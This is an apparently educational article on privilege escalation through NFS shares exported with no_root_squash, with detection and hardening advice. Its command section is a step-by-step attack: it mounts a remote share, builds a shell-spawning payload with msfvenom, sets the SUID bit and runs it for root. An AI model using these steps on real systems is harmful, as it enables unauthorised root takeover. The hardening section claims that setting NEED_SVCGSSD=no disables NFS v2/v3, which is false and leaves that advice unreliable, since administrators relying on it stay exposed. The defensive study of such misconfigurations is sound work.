Privilege Escalation via Misconfigured NFS

Privilege Escalation via Misconfigured NFS (Conceptual Overview)

Network File System (NFS) allows remote file sharing over a network. When misconfigured with insecure options, it can permit local privilege escalation by manipulating file ownership and permissions.

---

🔗 What is Network File System (NFS)?

NFS enables systems to share directories and files with remote clients, commonly used in enterprise environments for centralized storage.

Security depends heavily on export configurations and client mounting options.

---

🧠 How NFS-Based Escalation Happens (High-Level)

• ✔ NFS exports are configured with insecure flags
• ✔ Client can mount with root_squash disabled
• ✔ User creates SUID/SGID binaries on mounted share
• ✔ Remote execution triggers privilege escalation

---

🔥 Why NFS Misconfigurations Are Dangerous

• ✔ Bypasses local file permission models
• ✔ Allows remote SUID/SGID binary creation
• ✔ Can lead to full root compromise
• ✔ Often overlooked in security audits

---

🌍 Real-World Example (Defensive View)

An administrator exports a directory with no_root_squash for convenience, allowing any client to create files with root ownership.

An attacker mounts the share, creates a SUID root shell, and gains elevated privileges.

---

🔍 Detecting Risky NFS Configurations

• ✔ Exports with no_root_squash
• ✔ World-readable/writable exports
• ✔ Unrestricted client access in exports
• ✔ Insecure NFS versions (v1, v2 without secure flags)

---

🛡️ Preventing NFS-Based Escalation

• ✔ Always use root_squash (default)
• ✔ Restrict exports to specific IPs/networks
• ✔ Use NFSv4 with Kerberos authentication
• ✔ Regularly audit /etc/exports configurations
• ✔ Monitor for unauthorized mount attempts

---

🧾 Key Takeaways

• ✔ NFS misconfigurations can lead to privilege escalation
• ✔ no_root_squash is the primary risk factor
• ✔ Regular configuration audits are essential
• ✔ Network-level restrictions complement filesystem permissions

🔍 NFS Privilege Escalation – Command Awareness

Common commands observed during NFS security audits and investigations. Shown for defensive awareness and educational purposes only.

---

🌐 NFS Service Discovery

• Check for NFS services

  rpcinfo -p [target_ip]

  Why used: Identify running RPC services including NFS.
• List NFS shares (if allowed)

  showmount -e [target_ip]

  Why used: Discover exported directories. May be blocked by firewall or restricted.

---

📂 Mount Operations (High Risk if Misconfigured)

• Create local mount point

  mkdir /mnt/tmp

  Why used: Prepare directory for mounting remote NFS share.
• Mount NFS share (insecure example)

  mount -o rw,vers=3 [target_ip]:/tmp /mnt/tmp

  Why used: Mount remote /tmp share locally. NFSv3 without secure options may preserve root ownership.
• Verify mount

  mount | grep nfs

  Why used: Confirm successful NFS mount and view options.

---

🔎 Share Content Inspection

• Navigate to mount point

  cd /mnt/tmp

  Why used: Access mounted NFS share for inspection.
• List share contents

  ls -al

  Why used: Examine files, ownership, and permissions on mounted share.

---

⚡ Binary Creation (Critical Risk)

• Generate executable payload (example)

  msfvenom -p linux/x64/exec CMD="/bin/sh" -f elf -o shell.elf

  Why used: Create a standalone ELF executable that spawns a shell. In labs, this demonstrates payload generation concepts.
• Verify file creation

  ls -al

  Why used: Confirm payload exists and check ownership/permissions.
• Set SUID bit (dangerous if misconfigured)

  chmod +xs ./shell.elf

  Why used: Make executable run with file owner's privileges. On NFS with no_root_squash, this could be root-owned.
• Verify SUID bit set

  ls -al

  Why used: Confirm SUID/SGID permissions are applied.

---

🚨 Execution Phase (Maximum Risk)

• Execute binary (example scenario)

  ./shell.elf

  Why used: If binary is root-owned SUID on misconfigured NFS, this could escalate privileges.

---

🧹 Cleanup & Verification

• Unmount NFS share

  umount /mnt/tmp

  Why used: Properly disconnect mounted share.
• Remove mount point

  rmdir /mnt/tmp

  Why used: Clean up temporary directory.
• Check user identity

  id

  Why used: Verify current privilege level after tests.

---

🛡️ Defensive NFS Commands

• Review NFS exports safely

  cat /etc/exports

  Why used: Check server-side NFS configurations for insecure options.
• Check currently mounted NFS shares

  showmount -a localhost

  Why used: List clients connected to NFS shares (server-side).
• Find SUID binaries on NFS mounts

  find /mnt -type f -perm -4000 2>/dev/null

  Why used: Audit for SUID binaries on mounted NFS shares.

---

🔧 NFS Security Hardening

• Secure /etc/exports example

  /shared/data client_ip(rw,root_squash,sync,no_subtree_check)

  Why used: Example of secure NFS export with root_squash enabled.
• Disable insecure NFS versions

  echo "NEED_SVCGSSD=no" >> /etc/default/nfs-common

  Why used: Disable insecure NFS v2/v3 if not needed.

---

📚 Security References

• NFS Security Best Practices

  https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/storage_administration_guide/nfs-security

• CIS Benchmarks for NFS

  https://www.cisecurity.org/benchmark/linux

---

🛡️ Defender Takeaways

• ✔ Audit /etc/exports regularly
• ✔ Ensure root_squash is enabled
• ✔ Restrict exports to specific IPs/networks
• ✔ Monitor for unauthorized mount attempts
• ✔ Scan NFS shares for SUID/SGID binaries